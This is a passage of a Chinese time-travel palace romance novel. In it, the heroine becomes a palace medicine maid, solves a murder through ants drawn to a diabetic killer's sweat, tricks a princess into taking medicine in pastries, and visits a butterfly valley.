看衣上云不再生气他继续说“今儿中秋佳节,既然碰到了,哥哥之前帮了你那么多忙,今儿你便陪我过中秋如何”。

衣上云心里其实有些为难的,因为明天就要入宫了,今夜她还有很多事,但是如果过了今夜,以后恐怕出宫便没那么容易了,所谓入宫容易出宫难,一入宫门深似海。

她确实应该好好报答易三少,于是点点头微笑说“好吧好吧,那你保证以后不再瞎说了”。

易三少见她点头答应立马露出一脸的欣喜,直接过去拉起她的手便朝前方人群里走去。

衣上云的手被他突然这样牵着顿时脸红心跳,却怎么努力也挣脱不开他强有力的大手,而他自是感觉到衣上云的反抗却并没有松开,而是她越反抗他抓的越紧。

西秦皇宫内,轩辕皇族们亦是团聚一起,刚结束一场声势浩大气派十足的祭月祈福仪式。

此时皇宫的主子们正坐在摆满鲜花和各类时鲜的宴桌上一边品尝着精致的宫饼一边看戏,戏台上正在上演着中秋佳节经久不衰的神话戏剧嫦娥奔月。

璟帝的一边坐着皇后,另一边坐着太后。轩辕翰作为西秦唯一尊贵的秦王,亦是坐在宗室重中之重的位置上不动声色一如往常冰冷地品茗。

他虽最不喜与这些后宫女人们同坐,却在这样的日子里也不得不为之。

璟帝突然开口“皇弟,今日中秋佳节,朕曾许诺你,今日要给你一个惊喜”璟帝一边说一边示意身旁的公公宣旨,轩辕翰见势忙起身下跪准备领旨。

这时便有一公公上前打开手中的圣旨道:“奉天承运,皇帝诏曰:秦王护国有功,骁勇善战,治国有方且年过弱冠。兹有东宁国永乐公主梅汐媛才貌双全、娴熟大方、品貌出众;为两国联谊,亦是为成佳人之美。特将其赐予秦王为王妃,择吉日即刻完婚。钦此!”。

秦王虽早已心中有数却还是稍愣了片刻随即才匆匆叩拜领旨谢恩。

接着,在场所有众人均目光转向秦王一一道贺。

“皇弟,据传这个东宁永乐公主可是个倾国倾城的美人喔,对此皇弟可还满意?”璟帝一脸邪意的试探。

“臣弟谢皇兄关怀”嘴上说着,心中冷暖却只有自己最清楚。

这道赐婚圣旨怕是这个中秋晚宴皇宫里最大的喜事了。

夜已深,皇宫的中秋夜宴席也终于到了散场的时候。

而有个人,今晚却过得格外满足,这个人就是......

第十六章:红色胎记,前世今生的契约

赐婚秦王的圣旨怕是这个中秋晚宴皇宫里最大的喜事了。

夜已深,皇宫的中秋夜宴席也终于到了散场的时候。

而有个人,今晚却过得格外满足。

此时,逛遍整条大街小巷的衣上云和易君浩正相对而立,站在放天灯祈福的男男女女队伍边上,郎才女貌像极了一对璧人。

俩人也手中各执一支笔在把自己的心愿写在同一个天灯上,易君浩偷偷绕过天灯含情脉脉地看了衣上云一会,她并没有发现。

最后签上了各自的名讳便共同手执被点燃的天灯待里面的空气燃尽,天灯便腾空而起。

天空中的造型各异的天灯星星点点,漫天飞舞,甚是浪漫壮观。此情此景,两人一同抬头痴痴地望着。

许久才慢慢地退到旁边一家小酒馆门口的摊位坐下来。易君浩开了口:“丫头,你为何总以面纱遮面呢?”

景色太美,衣上云这才回过神来伸出右手摸了摸脸上的毒瘤说道“因为我天生脸上有块红色胎记,为遮丑故而为之”。

“哦,原来如此,丫头你有没有听说过一个传说”衣上云微微抬头以示不解,三少见她起兴便缓缓地说。

“相传当一个人死的时候,所爱之人留下的一滴泪若是滴在她的身上就会化作一块红色的胎记,以此为信物在来生里寻找前世的另一半与她再续前缘”。

三少看她听得入迷便继续说“所以说你这块红色胎记并不丑陋,而是上辈子爱你的人,为了下辈子能找到你而留下的一封前世今生的契约。”

“丫头,你说上辈子为你滴下那滴泪的人,不会就是哥哥我吧”易君浩突然说出了这句话,衣上云立马一脸绯红慌乱竟无言以对。

而易君浩亦是没有退让反而一把过去拉起她的一只手置于自己的左手上紧紧握住,衣上云急急想要挣脱开来却怎么也办不到。

“别担心,我只是帮你看看手相”易君浩的眼睛抬起看了衣上云一眼又匆匆重新回到她手上来忽然惊道。

“丫头,你这手相......把你另一只手也伸出来给哥哥瞧瞧,快点”易君浩一脸正经地命令道。

虽然衣上云很不情愿,但是还是有些好奇的伸了手过去。易君浩又更加仔细地看了看她的另一只手沉默了半天才低头说了话。

“两手掌地纹线短中途变得细小且在同一位置终止消失还并无其它线来补缺;天纹线倒是极长且有分叉往下弯曲,愿舍弃一切为情牺牲,竟也是个痴情的女子”。

“要你管”衣上云一边试着抽走自己的手一边撅了下小嘴怒道。

“丫头,看你这手相,你小心短命哦”易君浩忽然抬起头一脸严肃和忧心地说道,衣上云瞪了他一看看他放松了戒备便顺势抽回了自己的双手置于身后藏住。

而这时秦王轩辕翰正坐在回府的豪华气派的安车内,从车窗里看到窗外的衣上云和易君浩的这一切亲密举动。

这次他不像往常只是一瞥,他望着车窗外看了许久一直到俩人消失在自己视线里才回过头来轻声说了句:“难道是魏明轩?”。

这声音很轻,轻的连他自己都差点没察觉,而随即那冰冷的眸光变得更冷了。

此刻他的心情确实很不好,但天性使他依旧忍着,仿佛这个世上是没有什么他不能忍受的一样。

不知不觉,夜已经很深了,衣上云终于告别了易君浩,拖着异常疲惫的身体回到了衣府明月阁,安静地坐在窗前看着窗外的这轮皓月。

沉思了许久,突然伸出双手端详了半天,同时回忆着刚才易君浩所说的一切,她也没看出个究竟,起身倚窗而立,中秋团圆夜,身处异乡的她一片相思忽然想起一首诗低吟起来。

“明月几时有?把酒问青天。不知天上宫阙,今夕是何年。我欲乘风归去,又恐琼楼玉宇,高处不胜寒。起舞弄清影,何似在人间?转朱阁,低绮户,照无眠。不应有恨,何事长向别时圆?人有悲欢离合,月有阴晴圆缺,此事古难全。但愿人长久,千里共婵娟。”

然后目光高抬望向明月温柔地道了句:魏明轩,中秋快乐

......

中秋佳节就这样过去了。

想想这一天,过的最郁闷的可能就是秦王轩辕翰了。被璟帝赐了一个和亲公主做王妃,在婚姻大事上身为皇族儿女的他即便早就知道自己的命运,他没有选择的权利,至少现在还没有,但冥冥之中内心深处或许已经对某个人有了些许期许,只是爱一人而不自知罢了。

只是自小一向冰凉冷酷的伪装长期扮惯了,可能自己就算对某人真的心里有什么不同的感觉,也早已经不会表达或者根本忘记怎么表达了吧。

更何况,他可能自己也不曾意识又或意识到了却不敢也不想承认自己心里隐隐约约地是有那个人的。

而在得知了魏明轩的存在后,无疑更加打击了他原本就模糊的感觉让他更不敢对她存有那份亵渎之心。

他其实很孤独也很可怜。

第二天天一亮,衣上云便收拾好行装。所谓的行装其实也就是一个包裹包着两件旧衣裳而已,这就准备着要搬去宫里御药房报到了。

天家惩罚,庶民岂敢违抗。

她依依不舍地站在闺房里看着房间里面的每一个物件,现在她已经分不清这份不舍到底来自原主还是她自己本身。最后还是心下一狠,便踱着大步下楼穿过客厅头也不回地走出了明月阁,背着身往后伸出手将明月阁的门轻轻掩上。

一抬头才看见燕儿不知道什么时候已经站在了林月轩的院子里。衣上云顿了一会儿看着燕儿红红的眼睛,意识到这个小丫头应该已经伤心地哭了很久了,她缓缓朝她走了过去。

“小姐,你还回来吗?燕儿舍不得你走”燕儿的眼泪又一次瞬间落下,说话的声音也是哽咽。

衣上云看着燕儿的样子心更难受不忍,一把将她深深的拥入怀中却并没有说话,主仆两人就这样沉默着拥抱在一起......

“燕儿,陈燕,两个名字那么像”她心里喃喃道,她把现在的燕儿早已经当做了21世纪她的特助陈燕。所以这份感情并不单纯。

衣上云还是开口说道:“燕儿,无论发生什么,都记着我说过的话,相信我”。

燕儿一脸天真的茫然听不懂,衣上云看了看她也没再多说什么,只朝着前院大厅进去。

母亲年氏,兰姨娘一席人都已经在厅堂等着她作别。虽说兰姨娘对她成见颇深,但而今她入了宫也是因为老爷所致,况且如今衣上云的情况明显早已经不会对他们母子三人造成任何威胁。

所谓一入宫门深似海,虽是去做一个小小的药女,怕是一个女子最好的几年都要在宫里荒废殆尽了,兰姨娘想想似乎也并没有那么讨厌她了。

衣上俊和衣上雪也不再对她一副横眉竖眼的样子。

年氏自是一脸的担忧,此去不知何时方能归来,此生这个女儿已然是因为退婚已无前途可言的。她本想她在府中自己身边衣食无忧安然地度过余生,而如今却......,想着想着,只得拉着衣上云的手泪眼婆娑着一脸忧心却不知该说些什么。

“母亲,女儿不孝,不能时刻侍奉您左右了,还望母亲一定要保重身体”。她只此一句,确是一室寂静。

就这样,一翻恋恋不舍的告别后,衣上云便踏上了前往御药房的路途。

药女的差事是御药房里最低等的活,进了御药房,在大药女的简单介绍与差事分工后大家都散开,开始各自忙各自的差事去了。

大药女安排衣上云和另一个叫做丁香的药女一起煎药呢。

“这个是风华宫玥公主的汤药,公主咳疾久已,你们都仔细点着,煎好后送去劝公主服下”大药女严厉地叮嘱了一声便转身出门,刚出门却露出了一脸窃喜之态随即便扬长而去。

原来她安的可并不是什么好心思......

第十七章:蚂蚁破案

御药房当差的第一日,大药女安排衣上云和药女丁香:“这个是风华宫玥公主的汤药,公主咳疾久已,你们都仔细着点,煎好后即刻送去劝公主服下”。

大药女严厉地叮嘱了俩人一声便转身出门,刚出门去却露出了一脸窃喜之态随即便扬长而去。

原来她安的可并不是什么好心思.

衣上云和丁香很快便煎好药端着来到了风华宫殿门口,此刻正等着通报的小宫女来传。忽然听到里面一阵严厉的呵斥声响起。俩人互相对视了一眼,不知道发生了什么情况。

随后只见小宫女怯怯地走了出来道:“公主殿下说药太苦,坚决不肯服用,你们还是想想其它办法吧”。

就在她们正在说话的时候,有一个异常清瘦的侍卫急急跑进大殿去。

就在她们还在一脸狐疑之时,从大殿内走出一位也就十五六岁衣冠华丽气质高贵优雅的女子,此人正是璟帝最宠爱的女儿轩辕玥,人皆称其玥公主。

清瘦侍卫前面带路,公主疾步随后穿过回廊,只见二人急急朝着风华宫偏殿旁拱门后的花园进去。

不知发生了何事,宫女太监们都三五成群地凑做一团交头接耳议论着。见主子过来,都急急闪开一条道来。

衣上云这才看清楚,花坛边地上躺着一个小宫女,身旁一滩血污,身上竟还插着一把沾满血迹的匕首。

衣上云凑近看了看,匕首上面满是鲜血且蚂蚁爬满了匕首,现场十分吓人。

公主看到亦是十分震惊地呼道:“珍儿,是谁干的?”,随即她的眼睛扫向眼前周围众人。

此时,刚才去风华宫正殿通报的清瘦侍卫上前来,指着站在一旁的另一个胖乎乎的小太监说道“公主,珍儿肯定是他杀的,属下方才发现珍儿尸体的时候他就站在珍儿身旁行动十分诡异”。

胖乎乎的太监一听见这话急忙跑出来双膝跪地,猛磕起头来喊道:“公主,不是奴才做的,珍儿姑娘一直对小的很是照顾,小的怎么可能杀珍儿姑娘呢,小的是刚好经过,看到珍儿姑娘躺在地上,不知道发生何事,才过来看一下,谁知道竟是珍儿姑娘被人杀害了,奴才真的没做过。公主,你要替奴才做主啊”。

“你们都好大的胆子,竟敢在本公主的宫殿里放肆,是谁做的最好自己赶快出来承认,若是让本公主查到,定要他好看”轩辕玥年龄虽小,发起怒来倒是一点也不含糊,威严四射。

此时,报案的清瘦侍卫眼睛忽然扫了一眼旁边众人,低着头抬眼偷偷瞄了一眼轩辕玥。

此举刚好被衣上云看在了眼里。

衣上云在想的却是为什么蚂蚁会爬满匕首呢,再看看眼前这个侍卫,她忽然一惊,难道是......

“公主殿下,奴婢知道谁才是凶手”衣上云突然开了口。

立刻,轩辕玥和在场众人的目光不约而同寻着说话的方向投过去。

“你,那你说说看,要是说的不对,可要仔细你的脑袋了”轩辕玥一本正经严肃地警告道。

此时,丁香听闻这番警告后惊慌失措,轻轻拽了拽衣上云的衣袖,想让她不要招惹是非。

“奴婢斗胆,那若是奴婢说对了呢”衣上云不但没有听丁香的劝停下来,反而反问轩辕玥道。

“好大的胆子,竟敢跟本公主提条件。罢了,且看你本事,如若说对了,本公主便许你一个所求”轩辕玥亦是豪爽地答道。

衣上云这次颔首微笑着上前再次认真地检查了珍儿的尸体和匕首一番后,已经完全确定了她刚才的想法无误。

随即便说:“公主殿下,看这匕首插入深度的力度,凶手确是男的没错”。

“废话,现在被指证的本就是个男的,这还需要你这个奴才来告诉本公主吗”轩辕玥厉声呵斥道。

衣上云轻笑了一下继续道“公主,凶手是男的,但却并不是眼前这个被指证的小太监”。

“哦?那依你所见这真正的凶手到底是谁”轩辕玥一脸诧异地问。

此时衣上云看到报案的清瘦侍卫偷偷摸摸正在人群里悄悄后退去便急急出声道“真正的凶手便是报案之人”。

一边说着,衣上云的手指向正想开溜走的清瘦侍卫。

轩辕玥这才看到他想开溜,便立即下令“还不快给本公主将他拿下”,一旁的其他几名看热闹的侍卫三拳两脚就轻松地擒住了瘦弱侍卫。

清瘦侍卫被抓住死死压倒趴在地上,却还坚持辩解道“公主殿下请明察,奴才绝对不是凶手,是......是这个奴婢她血口喷人,诬陷奴才,奴才冤枉”。

清瘦侍卫手被死死擒着不能动弹便瞪眼衣上云大呵:“你有何证据证明人是我杀的?”。

衣上云却不慌不乱镇定地说“看你如此异于平常的消瘦,请问是不是患有下消之症?”。

“是又怎么样,这里谁都知道我患下消之症多年,所以大家对我亦是很多照料,我又怎么可能对他们有不轨之心呢”清瘦侍卫狠狠瞪着衣上云说。

衣上云轻笑了一声,颔首喃喃自语“这就都对了”。

接着只见她挺直那瘦小的身子说“身患下消之症的人,小便频且量多,便液混浊如脂膏,还经常口干,头晕,腰腿酸痛。观其舌可见质红且少津,把脉脉细数。请问我说的可都与你的疾病都一一对症”。

清瘦侍卫顿时觉得有些惊讶这个奴婢竟然懂医术,因为衣上云说的完全符合他的病症,一丝不差。大家也都一脸惊愕地看着他,轩辕玥却是一脸不知所云,看不懂她到底想说什么,又跟凶手有何关联。

看他不语,自是已然默认。衣上云又开口道“你还不承认你是凶手吗?”。

侍卫莫名其妙依旧狡辩“不是我做的,我为何要承认”。

“那这匕首上为何会聚集周围所有的蚂蚁你知道吗?”衣上云指着那把爬满蚂蚁的匕首问。

“我又不是蚂蚁,我怎么会知道”清瘦侍卫还在挑衅衣上云狡辩着。

“哼,因为蚂蚁喜欢甜味。而下消症最明显的症状我刚才故意没有说,就想看你要狡辩到何时,下消症病人有个最明显的症状那便是小便有甜味。而人的汗液和便液成分相似,只是所含成分多少有差而已”。

衣上云突然俯身下去道“想必你手握匕首行凶的时候是不是很紧张以至于汗液侵满匕首啊,要不要我们拿一把新的匕首来让在场所有的人握着来证明一下呢”她冷哼一声蔑视着清瘦侍卫说完这句话,接着在场所有人向他投去惊讶的眼光。

“公主饶命,公主饶命”清瘦侍卫听到这里,再也无言可辩只能拼命地磕头求饶。

“给本公主把他拉下去杖毙,珍儿好好安葬”玥公主气愤狠狠地说道,随后就示意所有人散去。

这才看向了衣上云道“你是新来的?以前本公主可没见过你”,轩辕玥一边说一边朝正殿走回去,衣上云和丁香紧随其后低头跟着。

“奴婢是今天才报到的新药女,方才公主答应过奴才,要是奴婢说对了会答应奴才一个请求的呢”,衣上云并没有忘记她的差事,丁香一直吓傻着,这会儿才醒过神来。

只见轩辕玥突然停下脚步来转过身看向衣上云。

这丫头......

第十八章:良药,松子百合酥

“奴婢是今天才报到的御药房新药女,方才公主答应过奴婢,要是奴婢说对了会答应奴才一个请求”,衣上云并没有忘记她的差事,丁香一直吓傻着,这会儿才醒过神来。

只见轩辕玥突然停下脚步来转过身缓缓走回来到衣上云面前看着她“原来是新来的,难怪这么不懂规矩,这御药房办差真是越来越大胆了,竟敢让这些不懂规矩的奴才来伺候本公主”。

衣上云听此却道:“奴婢卑微,但还望公主明示奴婢哪里没有规矩了”。

轩辕玥长这么大集万千宠爱于一身,还从没有人敢如此质问她“你......你这奴才倒是一点也不含糊,说罢,你想请求本公主答应你什么?”

说完这句后轩辕玥又转过身去继续往大殿里走,心情却似乎很好。

“奴婢请求公主将御药房送过来的汤药全都欣然服下可好?”衣上云说着弯腰将手中放置着汤药碗的精雕木盘递上。

“放肆......你好大的胆子,竟敢命令本公主,你叫什么名字?”轩辕玥一个急转身过来厉声训斥道。

“奴婢御药房药女云儿,这么说公主是要食言咯?”衣上云一点都不害怕,刚才发生的一切她已经看到这个公主纯良并不蛮横骄纵的本性,否则又怎会在乎一个卑微的小宫女的性命。

“云儿,好...很好,本公主记住你了......”轩辕玥尖尖的下巴高高抬起讲着,却紧握着手中的拳头。

一会儿之后才慢慢松开,伸手一把端起衣上云手中那碗汤药,一口气猛将她喝下,脸上露出了极其苦涩的表情,随后将药碗重重地丢在盘中便径自朝着风华宫正殿走去。

衣上云和丁香二人急忙欠身行礼恭送轩辕玥。

丁香接二连三地被衣上云的言行举止惊吓着,不过此刻她更惊喜的是从此轩辕玥再也不会拒绝喝药了,便很是满意地跟着衣上云回到了御药房。

大药女见二人这么快便回来,急忙上前问:“玥公主可已将药服下了?”。

“公主已将汤药全部服下了”丁香高兴地回答,衣上云亦是轻轻地微笑。说完二人便走了进去继续忙她们的差事。

大药女此时露着一脸不可思议之态,因为公主从小怕汤药的苦味,之前她每次送药,每次都被训斥半天方才离开,她真的已经拿这个公主彻底没辙了。

今天见衣上云第一日当差,想必她肯定不知道这个状况,便差她去吃这个闭门羹。结果......这两个人到底怎么办到的?

她连忙进去屋里将丁香拉到一边细细询问后,道了一句“果真如此,看来这个丫头倒一点也不蠢笨”。

御药房第一日当值,衣上云就这样过去了。她倒觉得其实好像也并没有想象中那么艰难,主子也并没有那么难伺候,而且有一个丁香陪伴她坚信以后会越来越好的。

谁知第二日,丁香忽然哭着来找衣上云委屈地说:“云儿,玥公主又不喝药了,昨天才答应的,今天就反悔。她的病要是再不喝药,到时候皇上主子们怪罪下来,我们都得倒霉了”。

衣上云蹙眉听完,突然站起来拉起丁香的手说:“走,陪我做一样东西,送去风华宫”。

丁香一脸疑惑不知道她又想做出什么惊心动魄的事情来,整天跟着衣上云她觉得自己早晚有一天要出事儿,但她心里很清楚在这个御药房里也只有衣上云是真心对她好,拿她当朋友。

“公主殿下,昨天那两个小药女在殿外求见”小宫女对轩辕玥禀告道。

“不见,让她们回去,定是又要本公主服药的,这个丫头真是无礼之极,还真以为我会乖乖听她一个小药女的话”轩辕玥挑眉不屑地说道。

“殿下,她说要是见不到殿下便长跪在大殿门口直到公主答应见她为止”小宫女怯怯地说。

“混账,她这是在威胁本公主吗,那就让她跪着好了”小宫女见公主说什么都无动于衷,只得失望地准备起身准备退下去,而当小宫女刚转身走到大殿门口时,却从身后传来轩辕玥的声音。

“让她们进来吧,本公主倒是想看看她又要玩出什么新花样来”小宫女听了甚是欣喜,急急应了一声便出去通传。要知道轩辕玥不吃药,咳疾已日渐加重影响睡眠,再下去整个风华宫的奴才们也都要受到牵连的。

衣上云和丁香进了大殿行礼,刚被公主厉声训斥过的丁香此刻连头都不敢抬起来,生怕公主见她再次发怒。

“本公主说过不会服这个极苦之药的,你们就不要再浪费心思了”轩辕玥看都没看二人一眼便先开口说道。

“公主殿下,今天奴婢过来不是送药的,而是要献给殿下一道奴婢自创的点心。” 衣上云说着便示意让小宫女拿给公主瞧瞧。

只见小宫女手捧一碟形似百合花状,颜色金灿灿,表面还点缀着星星点点的松子似的糕点走向轩辕玥,那糕点色香味俱全看起来极其诱人。

衣上云看到轩辕玥面露出一丝甚是眼馋的欣喜模样,便继续道:“殿下,此糕点奴婢给它起名唤松子百合酥,香酥可口且食之对皮肤尤为滋补,殿下不妨尝尝”。

小宫女听闻便低头将其高高举起恭敬地递到轩辕玥面前,轩辕玥伸手拾起一块优雅地食之一口反复咀嚼着。

许久后,露出一丝满意点头道“还不错”。

“既然公主喜欢,那公主可否愿意每天吃两块?”衣上云见此急急追问。

“嗯”轩辕玥轻轻答应了一声,明显她是愿意吃这个点心的。

她自是不知松子百合酥本就有滋阴润肺,镇静安神强身体格之效,对她咳疾大有益处。而且衣上云把轩辕玥所食之草药全都磨成细粉掺入其中,如此过个三五天,轩辕玥定能完全康复。

丁香和小宫女自是早已知晓这点心的奇妙所在,只是害怕这金贵的公主闻出草药的气味发现端倪,而如今看到公主一点都没有察觉,甚是感叹衣上云的手艺确实不凡,竟能如此完美的遮盖浓郁的药草味,对她更是佩服和感激了。

果然,掺了草药粉的松子百合酥吃了整整刚好五日,轩辕玥的咳疾便大好了。这时候轩辕玥才醒过神来“这个臭丫头,竟然敢设计诓骗我”。

随即便叫来了那天劝她吃点心的小宫女呵斥道,“还不快把事情的真相告诉本公主”。

小宫女自是不敢半点隐瞒地将事实和盘托出。

“去把那丫头给本公主带来”轩辕玥瞬间抬起下巴一脸不可思议的下令道。

衣上云被再次带到风华宫,禀道“公主乃千金之躯,若公主有任何闪失,第一个掉脑袋的便是这风华宫的奴才们。奴才虽命不值钱,但也是有父母生父母疼。公主不杀伯仁伯仁却因你而死,敢问公主可愿意如此?”

轩辕玥虽然骄纵但是却生性纯良,她想怼,却也无言以怼,这个丫头看起来瘦瘦小小,竟如此机智、聪慧、胆大。

从小到大,这满皇宫的人都对她百依百顺,毕恭毕敬,就怕触怒得罪她,而这个丫头却一点都不怕她,随即便说道:“你就不要触怒本公主,丢了你自己的性命吗?”

衣上云跪着低头回答道“人固有一死,不足为奇。况且......公主不会要奴婢的性命”。

“为何不会?”轩辕玥语气里有些轻蔑,更多的确是惊喜。

“因为公主生性善良,就连死掉一个卑微的宫女都要调查清楚不愿她枉死,所以奴婢知道公主不会无缘无故就轻易取了人的性命”衣上云言语字字铿锵,轩辕玥满心窃喜,不经意伸出一只玉手掩住因心中喜悦所致而发出的一声轻笑。

随即又迅速“哼”了一声整理道:“好大的胆子,尽敢妄议本公主。本公主今天倒还就真要好好发落发落你这个不知天高地厚的丫头,叫你知道什么叫天家威严不容挑衅”。

轩辕玥说着,急急在心中想着要怎么发落这个大胆的丫头才好,突然她想到了一个法子。轩辕玥说“本公主罚你侍候本公主明儿去一个地方”。

衣上云急问“公主要带奴婢去什么地方”。

“去了你自然就知道了。怎么,不敢去吗?”轩辕玥逗着衣上云说。

“回公主,奴婢是御药房的药女,不得随意离开御药房的”衣上云解释道。

“去,给御药房传话,就说本公主要衣上云亲自侍候几天”轩辕玥对着旁边的传话宫女说完,窃笑了一声。

刚才她还说这个奴婢胆大,这会便吓得想求饶了“饶你,可没这么容易,这可是你自己惹上本公主的”。

回御药房的路上衣上云一路猜想,轩辕玥到底想要带她去哪呢?

......

第十九章:蝴蝶谷,神蝶惊现

轩辕玥刚刚还说衣上云胆大,这会便吓得想求饶了“饶你,可没这么容易,这可是你自己招惹上本公主的”。

回御药房的路上衣上云一路猜想,轩辕玥到底想要带她去哪里呢?

第二天衣上云一入御药房的门槛,大药女便横眉竖眼地朝她迎了上来道:“衣上云,从今天开始你便被暂借去风华宫玥公主宫里侍候吧,也不知道用的什么妖法,竟让那么尊贵骄傲的玥公主点名了要去伺候,你最好小心着点,小心树大招风风撼树,人为名高名丧人”。

大药女说完便气势汹汹地哼了一声扬长而去,衣上云愣愣地怔在原地。

“云儿,不要理她。平日里她在玥公主那里受了不少气,如今玥公主对你另眼相看,她眼红妒忌得要命。你赶快过去风华宫吧,一大早她们便来传话好像很着急的样子”丁香见大药女出去,这才向着衣上云走过来说道。

“嗯,谢谢你,丁香”衣上云握着丁香的手致了谢便匆匆朝着风华宫走去,只是她心里仍然在想,轩辕玥到底要她陪着去哪呢?

刚走到了风华宫门口,衣上云便看到平日里跟在轩辕玥一旁的两个小宫女都换上了一身便装,正拎着包袱从风华宫正殿里走出来。

身后随即现出一个亦是一袭便装但依旧显露着一身尊贵之气的女子,褪去了平日里的锦衣华服与公主皇冠,一身长裙和发饰却也尽显简单利落。

此人正是公主轩辕玥。她一出门就朝宫门口高大点的高档安车上去,同时用轻蔑的眼光对着衣上云说道:“还不赶快过来跟着,现在后悔可已经来不及了”。

衣上云这才颔首急急走过去跟着两个宫女一起上了后面的一辆普通安车,随即便都朝着宫门出宫方向而出。

“公主这是打算要出宫去?”衣上云这才有所警觉道,同座的两个小宫女对她微笑着颔首。

西秦皇宫坐落在西秦国偏北部,坐北朝南犹如神抵般庇护着整个西秦国子民。

经过一天一夜马不停蹄的赶路,她们竟然穿过了西秦国南北线来到了位于西秦最南的边境之地,这里有西秦国最有名的皇家贵族学府——西秦学院。

西秦学院所授之学均是灵空大陆各学科之顶级,涉及面甚广且富含神秘,世人皆以能求学西秦学院而为毕生之荣耀,但其对入院生审核却极为严格,就连当年的璟帝也未能录取。

而轩辕玥此次出宫要到达的地方,便正是这名震整个灵空的西秦学院。

此时已是出宫第二日,天刚微微亮的时候,衣上云一行人方才到达目的地。

一下马车,众人只见这西秦学院傍山而建,俨然一座山林胜地。上山进了头门,接着便是一雄伟的青石牌坊,后面是仪门,幽静无比,甚是庄严。一簇簇楼阁庭院便掩映在之内苍翠欲滴的参天古树之间。

西秦学院素以修身、齐家、治国、平天下为旨,为西秦国培养教习了众多杰出的皇室及贵族子弟文武全才,就譬如秦王轩辕翰。

很快,便看到一人群朝着他们走过来。领头的是一四十岁出头的儒雅之人,此人正是西秦学院院长陆贤。他一走到轩辕玥面前便急急行礼道“公主殿下大驾光临,老夫有失远迎,请公主殿下恕罪”其他一行人也都随之行礼跪拜。

“陆院长请起,本公主此行只是来学院随便看看,你不必过于紧张”轩辕玥似乎根本不在乎这个院长的请安。她随意地摆了摆手示意他们平身。

“谢公主,请先行院内休息”于是在陆贤的指引下轩辕玥一行人终于到了休息的院落。

她们真的很累,安车一路飞驰颠簸,到现在她们都还感觉天旋地转的。她们自是不知轩辕玥跟皇后是撒了谎才告了仅有的几天假偷溜出来,她虽是璟帝最宠爱的女儿,也不是能时刻想出宫就出宫的。

时间到了中午的时候,陆贤亲自过来请轩辕玥一行人到大厅用膳。

一进门便看到一个眉目清秀、温文尔雅的妙龄少女,一看到轩辕玥进门来便急忙参拜行礼道:“民女陆天娇参见公主殿下”。

“平身吧”轩辕玥却一点也不为之温柔贤淑所动,竟不屑地说道。

“咦,为何不见你那能耐的哥哥呢?陆天麟呢?”轩辕玥四下张望地看了看一边入席一边问道。

陆天娇连忙回答“回禀公主,民女的哥哥有事昨日外出,今日黄昏方能回来,请公主赎罪”。

“哼,本公主在宫里听说你那颇具能耐的哥哥退了婚啊,可真是出息地很”轩辕玥冷哼道。

“公主殿下有所不知,只因那女子久病昏迷、卧床不起,怕是八成醒不了了,故此哥哥才为之”陆天娇解释的说辞倒是一丝不紊,合情合理地样子。

陆贤见此尴尬的情景,立马转移话题说道:“这些膳食都是公主每次来学院甚是喜欢和称赞的,公主请赶快尝尝是否可还是原来的味道?”

衣上云这才猛地想起来,原来跟原主退婚的,正是眼前这个西秦学院院长陆贤的公子陆天麟。她此刻真是有些好奇想要早点目睹一下这位公子本尊到底是何方神圣。

只听陆贤说了句“公主,去后山蝴蝶谷陪驾的人我都已经按照往年惯例安排妥当,等午膳过后休息片刻公主便可前往。”

“嗯,本公主知道了”。

西秦学院地处西秦国极南,与地处极北的京城完全不同。这里的气候温暖潮湿,四季如春。

午膳过后,衣上云便随同轩辕玥在陆贤安排的一众人带路下,朝着学院的后山走去。

一入山谷她才发觉此山谷不是一般的大,里面山中有山,竟在山谷最东处有数千米的高山群,甚至比她之前见到的百草谷更让她惊讶。而且山谷里地形也各种各样。

不同环境不同海拔高度形成了不同的的温*湿度环境和不同的植物群,也就相应形成了不同的蝴蝶种类。

谷中有很多洼陷的山路,一路走着时常能看到很多五颜六色的蝴蝶停在潮湿的地面上吸水,山谷里很多小溪边也有各种大小不一的蝴蝶成百上千地聚集在一起吸水却更好像是在嬉戏。

“看来这水一定是经过特别处理过的蝶类非常喜欢的淡咸水,如此才最能吸引它们前来吸食”衣上云喃喃。

要说这里是蝴蝶谷,更不如说她是万花谷,时鲜谷,绿植谷。

群花斗艳,百果芬芳。蝴蝶们在谷中各自寻觅着自己喜爱的食物,翩翩起舞,比翼双飞。

花为谁开,蝶为谁来,花引蝶吸蜜,蝶为花传粉,两厢情愿,备受其益,其乐融融。

轩辕玥已许久未出宫来,她此时自是一脸欢喜,双眉上扬着心情很好。

此时她正低头专注地看着一朵娇艳欲滴的花朵上面停留的一只五彩蝶,忽然看到旁边花茎上栖息着一堆幼虫瞬间感觉很是恶心,有点坏了她的好兴致。

她便随手捡起一根掉落在地的枯枝朝向它们想剥掉幼虫,衣上云见势立马过来伸出手拦住她说“公主手下留情,此幼虫乃是金凤蝶幼虫,它以茴香为食,又名茴香虫。把它取之以酒醉死,焙干研成粉末,会有很好的理气和止痛的药效”。

“这也是药?”轩辕玥撒了手惊奇地问,衣上云微笑着点头。

随后又继续说:“如果公主触碰了它,公主肯定会后悔”。

“那又为何?”轩辕玥不解又饶有兴致地问。

“因为茴香虫受到惊吓会放出臭气”衣上云小声地朝轩辕玥说,轩辕玥马上以手死死捏住那高挺好看的鼻子露出了甚是庆幸刚才没有触碰到它的惊愕表情,同时她也惊讶道衣上云懂得还真的不少。

衣上云见势微笑着,忽然抬头看向旁边密密的落叶林里,惊讶地看到一只振翅从天蓝到紫兰不断闪烁变化色泽如梦幻般的蝴蝶。

她悄悄朝着走近才看清楚:“竟是神蝶,这不是秘鲁国蝶吗?被誉为世界上最美的蝴蝶,双翅上嵌着的白色纹脉色带宛若它天然华贵且优美的装饰品,振翅婀娜多姿,展翅如同孔雀开屏还能发光变色光彩熠熠。这可是世界上数量极少,极其贵重的蝴蝶种类呢,一只听闻售价可是传闻有拍卖会拍过三十几万人民币的天价呢。”她心里惊着喃喃。

“秘鲁是什么?”不知何时,轩辕玥竟然就站在衣上云的旁边,她听到衣上云低声说出的这段话很好奇地问道。

“哦,是奴婢从画本上看到的一个地方,说那里盛产这种神蝶,还被尊誉为他们的国蝶呢”。

衣上云含糊其辞地掩饰过去。轩辕玥深感疑惑自己怎么从未听闻过,但也没有再继续问下去。

衣上云立刻分散轩辕玥的注意力指着一只正在飞舞的神蝶道“公主你看,那就是世间极为罕见珍贵的光明女神蝶,是不是很漂亮?”。

轩辕玥这才往她指向的方向看去“舞姿婀娜,变色流光溢彩,果真不凡”但是以前怎么从未在这谷中看到过呢?轩辕玥心里想着,许是新的品种也是极有可能的。

